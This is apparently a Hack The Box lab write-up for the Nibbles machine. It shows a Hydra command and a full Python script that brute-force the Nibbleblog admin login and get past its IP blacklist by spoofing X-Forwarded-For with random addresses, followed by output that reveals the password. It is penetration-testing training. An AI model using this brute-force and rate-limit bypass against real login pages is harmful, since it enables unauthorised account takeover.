Brute-forcing the admin password on Nibbles


Hack The Box provides a platform for practising penetration testing, offering a large number of machines with a wide variety of vulnerabilities. Nibbles is one such machine on Hack The Box and is beginner friendly.

This post discusses brute-forcing the password of the admin account on the Nibbleblog web application.

WARNING: If you are working on Nibbles this post may contain spoilers!

Introduction

The first challenge with the Nibbles box is to log into the Nibbleblog web application. It's always worth trying a few of the obvious passwords, such as 'admin', 'password', 'qwerty', '12345678', etc., but none of these worked.

As a beginner, it's great to practise using many of the different pentesting tools available, but, unfortunately, I ran into some problems when trying Burp Suite and Hydra. First, I fed a huge password list to Burp Suite which choked the program. Instead of cutting down the list, checking if a list could be fed to Burp Suite lazily1, or increasing the virtual machine's resources, I decided to try out Hydra.

hydra -l admin \
    -P /usr/share/wordlists/rockyou.txt \
    10.10.10.75 \
    http-post-form \
    "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password."

This is when I encountered the second problem.

IP blacklisting

Nibbleblog blacklists an IP address for five minutes after five unsuccessful login attempts. We can confirm this configuration by checking the source code.

/nibbleblog/admin/boot/rules/3-variables.bit

// Number of failures before being locked
define('BLACKLIST_LOCKING_AMOUNT', 5);

// Time in minutes the ip will be blocked
define('BLACKLIST_TIME', 5);

As the web application isn't locked down sufficiently, it's possible to view the users database file and check the current IP blacklist for the admin account.

/nibbleblog/content/private/users.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
<user username="admin">
  <id type="integer">0</id>
  <session_fail_count type="integer">0</session_fail_count>
  <session_date type="integer">1514544131</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
  <date type="integer">1512964659</date>
  <fail_count type="integer">1</fail_count>
</blacklist>
</users>

I wondered if it would be possible to spoof the client's IP address using the X-FORWARDED-FOR header. Using curl it was easy to try this out and to my surprise it worked, so it seemed like a good opportunity to write a program customised specifically for brute-forcing the Nibbleblog login page.

Code walkthrough

This section walks through the code of this program, which is also available on sourcehut.

Inputs

First we define the inputs used by the program.

# Brute force information
PASSWORD_LIST = '/usr/share/wordlists/rockyou.txt'
RATE_LIMIT = 5
RATE_LIMIT_ERROR = 'Blacklist protection'
LOGIN_FAILED_ERROR = 'Incorrect username or password.'

# Target information
RHOST = '10.10.10.75'
LOGIN_PAGE = '/nibbleblog/admin.php'
TARGET_URL = f'http://{RHOST}{LOGIN_PAGE}'
USERNAME = 'admin'

The variables of particular interest are:

Main function

The run function is the program's main procedure and is fairly straightforward. The most important part is the generation of a new IP address just before the rate limit is hit. This prevents us from being blacklisted and locked out.

The start_at parameter corresponds to a line number in the password file, providing a way to start the attack from a certain password. This is handy for resuming a previously interrupted attack.

def run(start_at: int = 1):
    ip: str = random_ip()
    num_attempts: int = 1

    for password in open(PASSWORD_LIST):
        if num_attempts < start_at:
            num_attempts += 1
            continue

        if num_attempts % (RATE_LIMIT - 1) == 0:
            ip = random_ip()

        password = password.strip()

        if attempt_login(password, ip):
            print(f"Password for {USERNAME} is {password}")
            break

        num_attempts += 1

The actual login attempt

The attempt_login function sends the login HTTP request. There are a few things to note:

def attempt_login(password: str, ip: str) -> bool:
    headers = {'X-Forwarded-For': ip}
    payload = {'username': USERNAME, 'password': password}
    r = requests.post(
        TARGET_URL, headers=headers, data=payload
    )

    if r.status_code == 500:
        print("Internal server error, aborting!")
        exit(1)

    if RATE_LIMIT_ERROR in r.text:
        print("Rate limit hit, aborting!")
        exit(1)

    return LOGIN_FAILED_ERROR not in r.text

The entire program

Here is the entire program, including docstrings.

from random import randint

import requests

# Brute force information
PASSWORD_LIST = '/usr/share/wordlists/rockyou.txt'
RATE_LIMIT = 5
RATE_LIMIT_ERROR = 'Blacklist protection'
LOGIN_FAILED_ERROR = 'Incorrect username or password.'

# Target information
RHOST = '10.10.10.75'
LOGIN_PAGE = '/nibbleblog/admin.php'
TARGET_URL = f'http://{RHOST}{LOGIN_PAGE}'
USERNAME = 'admin'


def attempt_login(password: str, ip: str) -> bool:
    """Performs a login using a given password.

    :param password: The password to try.
    :param ip: Spoof the attacker's IP address with this one.
    :return: True for a successful login, otherwise False.
    """
    headers = {'X-Forwarded-For': ip}
    payload = {'username': USERNAME, 'password': password}
    r = requests.post(
        TARGET_URL, headers=headers, data=payload
    )

    if r.status_code == 500:
        print("Internal server error, aborting!")
        exit(1)

    if RATE_LIMIT_ERROR in r.text:
        print("Rate limit hit, aborting!")
        exit(1)

    return LOGIN_FAILED_ERROR not in r.text


def random_ip() -> str:
    """Generate a random IP address.

    :return: A random IP address.
    """
    return ".".join(str(randint(0, 255)) for _ in range(4))


def run(start_at: int = 1):
    """Start the brute force process.

    :param start_at: Start brute forcing at the password with
     this 1-based index. The number represents the line in
     the password file.
    """
    ip: str = random_ip()
    num_attempts: int = 1

    for password in open(PASSWORD_LIST):
        if num_attempts < start_at:
            num_attempts += 1
            continue

        if num_attempts % (RATE_LIMIT - 1) == 0:
            ip = random_ip()

        password = password.strip()
        print(f"Attempt {num_attempts}: {ip}\t\t{password}")

        if attempt_login(password, ip):
            print(f"Password for {USERNAME} is {password}")
            break

        num_attempts += 1


if __name__ == '__main__':
    run()

Sample output

The output may not be entirely intuitive as this program was written fairly quickly. The program lists the attempt number (so the attack can be restarted at that point), the fake client IP address used, and the attempted password.

$ python bfg9000.py
Attempt 1: 109.227.221.142      123456
Attempt 2: 109.227.221.142      12345
Attempt 3: 109.227.221.142      123456789
Attempt 4: 127.38.197.109       password
Attempt 5: 127.38.197.109       iloveyou

...

Attempt 2568: 228.94.222.10     darlene
Attempt 2569: 228.94.222.10     tabitha
Attempt 2570: 228.94.222.10     russel
Attempt 2571: 228.94.222.10     nibbles

Password for admin is nibbles

Concluding thoughts

This program is very specific to brute-forcing the Nibbleblog admin account and was written rather hastily while trying to get the user and root flags on the Nibbles machine. There's definitely improvements to be made, such as accepting the main inputs as program arguments, providing quiet and verbose arguments to control the output, avoiding IP reuse within a five minute period, and making the program run faster, but this was enough to successfully perform the brute-force attack.


  1. Update 8 Jul 2020
    While working on another Hack The Box machine I discovered Burp Suite's Runtime file payload type which reads payload strings at runtime instead of loading the entire list into memory.